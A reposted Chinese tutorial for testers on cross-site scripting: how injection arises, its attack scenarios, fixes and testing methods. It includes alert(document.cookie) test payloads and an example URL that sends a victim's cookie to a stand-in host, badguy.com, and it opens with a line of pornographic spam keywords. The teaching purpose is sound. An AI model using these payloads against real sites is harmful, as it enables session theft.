日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 >

Web安全测试之XSS

發布時間:2024/4/17 42 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Web安全测试之XSS 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html

XSS 全稱(Cross Site Scripting) 跨站腳本攻擊, 是Web程序中最常見的漏洞。指攻擊者在網頁中嵌入客戶端腳本(例如JavaScript), 當用戶瀏覽此網頁時,腳本就會在用戶的瀏覽器上執行,從而達到攻擊者的目的.? 比如獲取用戶的Cookie,導航到惡意網站,攜帶木馬等。

作為測試人員,需要了解XSS的原理,攻擊場景,如何修復。 才能有效的防止XSS的發生。

?

閱讀目錄

  • XSS 是如何發生的
  • HTML Encode
  • XSS 攻擊場景
  • XSS漏洞的修復
  • 如何測試XSS漏洞
  • HTML Encode 和URL Encode的區別
  • 瀏覽器中的XSS過濾器
  • ASP.NET中的XSS安全機制
  • XSS 是如何發生的呢

    假如有下面一個textbox

    <input type="text" name="address1" value="value1from">

    value1from是來自用戶的輸入,如果用戶不是輸入value1from,而是輸入?"/><script>alert(document.cookie)</script><!-?那么就會變成

    <input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

    嵌入的JavaScript代碼將會被執行

    ?

    或者用戶輸入的是??"οnfοcus="alert(document.cookie)????? 那么就會變成?

    <input type="text" name="address1" value="" onfocus="alert(document.cookie)">

    ?事件被觸發的時候嵌入的JavaScript代碼將會被執行

    ?攻擊的威力,取決于用戶輸入了什么樣的腳本

    ?

    當然用戶提交的數據還可以通過QueryString(放在URL中)和Cookie發送給服務器. 例如下圖

    ?

    HTML Encode

    XSS之所以會發生, 是因為用戶輸入的數據變成了代碼。 所以我們需要對用戶輸入的數據進行HTML Encode處理。 將其中的"中括號", “單引號”,“引號” 之類的特殊字符進行編碼。

    在C#中已經提供了現成的方法,只要調用HttpUtility.HtmlEncode("string <scritp>") 就可以了。? (需要引用System.Web程序集)

    Fiddler中也提供了很方便的工具, 點擊Toolbar上的"TextWizard" 按鈕

    ?

    XSS 攻擊場景

    1. Dom-Based XSS 漏洞 攻擊過程如下

    Tom 發現了Victim.com中的一個頁面有XSS漏洞,

    例如: http://victim.com/search.asp?term=apple

    服務器中Search.asp 頁面的代碼大概如下

    <html>   <title></title>   <body>Results for <%Reequest.QueryString("term")%>...   </body> </html>

    Tom 先建立一個網站http://badguy.com,? 用來接收“偷”來的信息。
    然后Tom 構造一個惡意的url(如下), 通過某種方式(郵件,QQ)發給Monica

    http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

    Monica點擊了這個URL, 嵌入在URL中的惡意Javascript代碼就會在Monica的瀏覽器中執行. 那么Monica在victim.com網站的cookie, 就會被發送到badguy網站中。這樣Monica在victim.com 的信息就被Tom盜了.

    ?

    2. Stored XSS(存儲式XSS漏洞), 該類型是應用廣泛而且有可能影響大Web服務器自身安全的漏洞,攻擊者將攻擊腳本上傳到Web服務器上,使得所有訪問該頁面的用戶都面臨信息泄露的可能。 攻擊過程如下

    Alex發現了網站A上有一個XSS 漏洞,該漏洞允許將攻擊代碼保存在數據庫中,

    Alex發布了一篇文章,文章中嵌入了惡意JavaScript代碼。

    其他人如Monica訪問這片文章的時候,嵌入在文章中的惡意Javascript代碼就會在Monica的瀏覽器中執行,其會話cookie或者其他信息將被Alex盜走。

    ?

    Dom-Based XSS漏洞威脅用戶個體,而存儲式XSS漏洞所威脅的對象將是大量的用戶.

    ?

    XSS 漏洞修復

    原則: 不相信客戶輸入的數據
    注意:? 攻擊代碼不一定在<script></script>中

  • 將重要的cookie標記為http only, ? 這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了.
  • 只允許用戶輸入我們期望的數據。 例如: 年齡的textbox中,只允許用戶輸入數字。 而數字之外的字符都過濾掉。
  • 對數據進行Html Encode 處理
  • 過濾或移除特殊的Html標簽, 例如: <script>, <iframe> ,? &lt; for <, &gt; for >, &quot for
  • 過濾JavaScript 事件的標簽。例如 "οnclick=", "onfocus" 等等。
  • 如何測試XSS漏洞

    方法一:? 查看代碼,查找關鍵的變量,?? 客戶端將數據傳送給Web 服務端一般通過三種方式 Querystring, Form表單,以及cookie.? 例如在ASP的程序中,通過Request對象獲取客戶端的變量

    <% strUserCode = Request.QueryString(“code”); strUser = Request.Form(“USER”); strID = Request.Cookies(“ID”); %>

    假如變量沒有經過htmlEncode處理, 那么這個變量就存在一個XSS漏洞

    ?

    ?方法二: 準備測試腳本,

    "/><script>alert(document.cookie)</script><!-- <script>alert(document.cookie)</script><!-- "οnclick="alert(document.cookie)

    ?在網頁中的Textbox或者其他能輸入數據的地方,輸入這些測試腳本, 看能不能彈出對話框,能彈出的話說明存在XSS漏洞

    ?在URL中查看有那些變量通過URL把值傳給Web服務器, 把這些變量的值退換成我們的測試的腳本。? 然后看我們的腳本是否能執行

    ?

    方法三:? 自動化測試XSS漏洞
    現在已經有很多XSS掃描工具了。 實現XSS自動化測試非常簡單,只需要用HttpWebRequest類。 把包含xss 測試腳本。發送給Web服務器。 然后查看HttpWebResponse中,我們的XSS測試腳本是否已經注入進去了。

    HTML Encode 和URL Encode的區別

    剛開始我老是把這兩個東西搞混淆, 其實這是兩個不同的東西。?

    HTML編碼前面已經介紹過了,關于URL 編碼是為了符合url的規范。因為在標準的url規范中中文和很多的字符是不允許出現在url中的。

    例如在baidu中搜索"測試漢字"。 URL會變成
    http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477

    ?

    所謂URL編碼就是: 把所有非字母數字字符都將被替換成百分號(%)后跟兩位十六進制數,空格則編碼為加號(+

    ?

    在C#中已經提供了現成的方法,只要調用HttpUtility.UrlEncode("string <scritp>") 就可以了。? (需要引用System.Web程序集)

    Fiddler中也提供了很方便的工具, 點擊Toolbar上的"TextWizard" 按鈕

    瀏覽器中的XSS過濾器

    為了防止發生XSS, 很多瀏覽器廠商都在瀏覽器中加入安全機制來過濾XSS。 例如IE8,IE9,Firefox, Chrome. 都有針對XSS的安全機制。 瀏覽器會阻止XSS。 例如下圖

    ?

    ?如果需要做測試, 最好使用IE7。

    ?ASP.NET中的XSS安全機制

    ?ASP.NET中有防范XSS的機制,對提交的表單會自動檢查是否存在XSS,當用戶試圖輸入XSS代碼的時候,ASP.NET會拋出一個錯誤如下圖

    很多程序員對安全沒有概念, 甚至不知道有XSS的存在。 ASP.NET在這一點上做到默認安全。 這樣的話就算是沒有安全意識的程序員也能寫出一個”較安全的網站“。

    如果想禁止這個安全特性, 可以通過 <%@? Page? validateRequest=“false"? %>


    總結

    以上是生活随笔為你收集整理的Web安全测试之XSS的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。